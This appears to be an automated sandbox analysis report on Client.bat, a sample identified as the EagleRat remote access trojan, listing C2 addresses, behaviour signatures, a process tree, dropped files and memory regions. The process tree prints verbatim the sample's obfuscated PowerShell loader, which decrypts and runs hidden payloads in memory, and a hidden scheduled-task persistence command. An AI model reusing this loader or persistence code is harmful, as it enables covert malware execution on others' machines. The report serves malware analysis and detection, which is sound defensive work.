Resubmissions

08/05/2024, 23:00

240508-2zf8nsef4910

08/05/2024, 22:58

240508-2x3znaee5210

Analysis

  • max time kernel
    29s
  • max time network
    11s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/05/2024, 23:00

General

  • Target
    Client.bat
  • Size 493KB
  • Sample240508-2zf8nsef49
  • SHA256 e8f767f4eb2a2e61dc63ff62dd3a807879e9cdbc9678ed3c503847a47c9f2cca
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Family
  • eaglerat

C2
  • 127.0.0.1:9875

  • 127.0.0.1:7788

  • 127.0.0.1:1337

  • 127.0.0.1:5353

Signatures

  • EagleRat

    An open source modular remote access trojan written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 60 IoCs

Processes

  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k DcomLaunch -p
    1⤵
      PID:796
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k RPCSS -p
      1⤵
        PID:908
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
        1⤵
          PID:956
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
          1⤵
            PID:388
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
            1⤵
              PID:992
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
              1⤵
                PID:608
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                1⤵
                  PID:1084
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                  1⤵
                    PID:1100
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                    1⤵
                      PID:1168
                    • C:\Windows\System32\svchost.exe
                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                      1⤵
                        PID:1224
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                        1⤵
                          PID:1256
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                          1⤵
                            PID:1312
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                            1⤵
                              PID:1356
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                              1⤵
                                PID:1364
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                1⤵
                                  PID:1504
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                  1⤵
                                    PID:1540
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                    1⤵
                                      PID:1548
                                    • C:\Windows\System32\svchost.exe
                                      C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                      1⤵
                                        PID:1668
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                        1⤵
                                          PID:1688
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                          1⤵
                                            PID:1744
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                            1⤵
                                              PID:1804
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                              1⤵
                                                PID:1812
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                1⤵
                                                  PID:1932
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                    PID:1980
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                    1⤵
                                                      PID:1988
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                      1⤵
                                                        PID:1832
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                        1⤵
                                                          PID:1964
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
                                                          1⤵
                                                            PID:2188
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                            1⤵
                                                              PID:2264
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                              1⤵
                                                                PID:2356
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                1⤵
                                                                  PID:2444
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                  1⤵
                                                                    PID:2448
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                    1⤵
                                                                      PID:2656
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                      1⤵
                                                                        PID:2712
                                                                      • C:\Windows\System32\svchost.exe
                                                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                        1⤵
                                                                          PID:2728
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                          1⤵
                                                                            PID:2748
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                            1⤵
                                                                              PID:2844
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                              1⤵
                                                                                PID:3164
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                1⤵
                                                                                  PID:3376
                                                                                • C:\Windows\Explorer.EXE
                                                                                  C:\Windows\Explorer.EXE
                                                                                  1⤵
                                                                                    PID:3456
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client.bat"
                                                                                      2⤵
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:3852
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RpOLZDoluIa5pJWt3MShtq8ucUbVnSJL03s4NyOM1OY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PgZEQq6XKKhcY8YiWNws0A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $tlGyS=New-Object System.IO.MemoryStream(,$param_var); $tkRca=New-Object System.IO.MemoryStream; $axVDt=New-Object System.IO.Compression.GZipStream($tlGyS, [IO.Compression.CompressionMode]::Decompress); $axVDt.CopyTo($tkRca); $axVDt.Dispose(); $tlGyS.Dispose(); $tkRca.Dispose(); $tkRca.ToArray();}function execute_function($param_var,$param2_var){ $Oehyc=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GVpLB=$Oehyc.EntryPoint; $GVpLB.Invoke($null, $param2_var);}$Wiypn = 'C:\Users\Admin\AppData\Local\Temp\Client.bat';$host.UI.RawUI.WindowTitle = $Wiypn;$FZxzB=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($Wiypn).Split([Environment]::NewLine);foreach ($SgbrW in $FZxzB) { if ($SgbrW.StartsWith('PrTqKlxMFfEfnSyFVRmW')) { $YQpFV=$SgbrW.Substring(20); break; }}$payloads_var=[string[]]$YQpFV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                        3⤵
                                                                                          PID:4236
                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                                                                                          3⤵
                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                          • Modifies registry class
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:4740
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_923_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_923.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                                                                                            4⤵
                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            PID:1044
                                                                                          • C:\Windows\System32\WScript.exe
                                                                                            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_923.vbs"
                                                                                            4⤵
                                                                                            • Checks computer location settings
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:636
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_923.bat" "
                                                                                              5⤵
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:684
                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RpOLZDoluIa5pJWt3MShtq8ucUbVnSJL03s4NyOM1OY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PgZEQq6XKKhcY8YiWNws0A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $tlGyS=New-Object System.IO.MemoryStream(,$param_var); $tkRca=New-Object System.IO.MemoryStream; $axVDt=New-Object System.IO.Compression.GZipStream($tlGyS, [IO.Compression.CompressionMode]::Decompress); $axVDt.CopyTo($tkRca); $axVDt.Dispose(); $tlGyS.Dispose(); $tkRca.Dispose(); $tkRca.ToArray();}function execute_function($param_var,$param2_var){ $Oehyc=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GVpLB=$Oehyc.EntryPoint; $GVpLB.Invoke($null, $param2_var);}$Wiypn = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_923.bat';$host.UI.RawUI.WindowTitle = $Wiypn;$FZxzB=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($Wiypn).Split([Environment]::NewLine);foreach ($SgbrW in $FZxzB) { if ($SgbrW.StartsWith('PrTqKlxMFfEfnSyFVRmW')) { $YQpFV=$SgbrW.Substring(20); break; }}$payloads_var=[string[]]$YQpFV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                                6⤵
                                                                                                  PID:1624
                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                                                                                                  6⤵
                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                  PID:4232
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                        1⤵
                                                                                          PID:3572
                                                                                        • C:\Windows\System32\svchost.exe
                                                                                          C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                          1⤵
                                                                                            PID:4576
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                            1⤵
                                                                                              PID:4828
                                                                                            • C:\Windows\System32\svchost.exe
                                                                                              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                              1⤵
                                                                                                PID:5092
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                1⤵
                                                                                                  PID:1012
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                  1⤵
                                                                                                    PID:1660

                                                                                                  Network

                                                                                                        MITRE ATT&CK Enterprise v15

                                                                                                        Replay Monitor

                                                                                                        Loading Replay Monitor...

                                                                                                        Downloads

                                                                                                        StartupProfileData-Interactive

                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                                                                                                        • Size 2KB
                                                                                                        • SHA256 342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d
                                                                                                        • MD5 SHA1 SHA512

                                                                                                        __PSScriptPolicyTest_jrqxfria.zdm.ps1

                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jrqxfria.zdm.ps1
                                                                                                        • Size 60B
                                                                                                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                                        • MD5 SHA1 SHA512

                                                                                                        $phantom-startup_str_923.bat

                                                                                                        • Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_923.bat
                                                                                                        • Size 493KB
                                                                                                        • SHA256 e8f767f4eb2a2e61dc63ff62dd3a807879e9cdbc9678ed3c503847a47c9f2cca
                                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                                        $phantom-startup_str_923.vbs

                                                                                                        • Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_923.vbs
                                                                                                        • Size 124B
                                                                                                        • SHA256 0d42cc7733888a317d8a9cab8ed02fa1dedb0370813ac730b8fb855cae5097f0
                                                                                                        • MD5 SHA1 SHA512

                                                                                                        memory/796-110-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

                                                                                                        memory/1044-28-0x00007FF8CE490000-0x00007FF8CEF51000-memory.dmp

                                                                                                        memory/1044-31-0x00007FF8CE490000-0x00007FF8CEF51000-memory.dmp

                                                                                                        memory/1044-29-0x00007FF8CE490000-0x00007FF8CEF51000-memory.dmp

                                                                                                        memory/1044-18-0x00007FF8CE490000-0x00007FF8CEF51000-memory.dmp

                                                                                                        memory/1168-101-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

                                                                                                        memory/1256-105-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

                                                                                                        memory/1356-112-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

                                                                                                        memory/1364-99-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

                                                                                                        memory/1548-111-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

                                                                                                        memory/1660-104-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

                                                                                                        memory/1812-108-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

                                                                                                        memory/1832-100-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

                                                                                                        memory/1932-103-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

                                                                                                        memory/1964-97-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

                                                                                                        memory/1988-98-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

                                                                                                        memory/2356-102-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

                                                                                                        memory/2448-106-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

                                                                                                        memory/2844-96-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

                                                                                                        memory/3164-109-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

                                                                                                        memory/3456-95-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

                                                                                                        memory/3456-49-0x0000000003080000-0x00000000030AA000-memory.dmp

                                                                                                        memory/4232-144-0x000002CF9CD70000-0x000002CF9CD82000-memory.dmp

                                                                                                        memory/4232-143-0x000002CF9CD60000-0x000002CF9CD74000-memory.dmp

                                                                                                        memory/4232-145-0x000002CF9CD80000-0x000002CF9CD9A000-memory.dmp

                                                                                                        memory/4576-107-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

                                                                                                        memory/4740-12-0x00007FF8CE490000-0x00007FF8CEF51000-memory.dmp

                                                                                                        memory/4740-11-0x00007FF8CE490000-0x00007FF8CEF51000-memory.dmp

                                                                                                        memory/4740-2-0x0000021C7CF80000-0x0000021C7CFA2000-memory.dmp

                                                                                                        memory/4740-13-0x0000021C7F410000-0x0000021C7F454000-memory.dmp

                                                                                                        memory/4740-14-0x0000021C7F4E0000-0x0000021C7F556000-memory.dmp

                                                                                                        memory/4740-15-0x0000021C7F070000-0x0000021C7F078000-memory.dmp

                                                                                                        memory/4740-48-0x00007FF8CE490000-0x00007FF8CEF51000-memory.dmp

                                                                                                        memory/4740-16-0x0000021C7F460000-0x0000021C7F4C2000-memory.dmp

                                                                                                        memory/4740-0-0x00007FF8CE493000-0x00007FF8CE495000-memory.dmp